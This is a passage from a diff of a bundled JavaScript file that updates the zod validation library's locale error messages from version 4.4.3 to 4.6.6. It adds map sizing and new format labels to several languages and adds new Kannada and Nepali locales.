"\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62052,12 +63634,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62129,17 +63715,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62165,12 +63752,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62240,22 +63831,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62281,12 +63989,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62357,11 +64069,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62375,7 +64087,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62476,12 +64188,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62561,17 +64277,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62597,12 +64314,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62671,17 +64392,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62707,12 +64429,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62779,17 +64505,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F 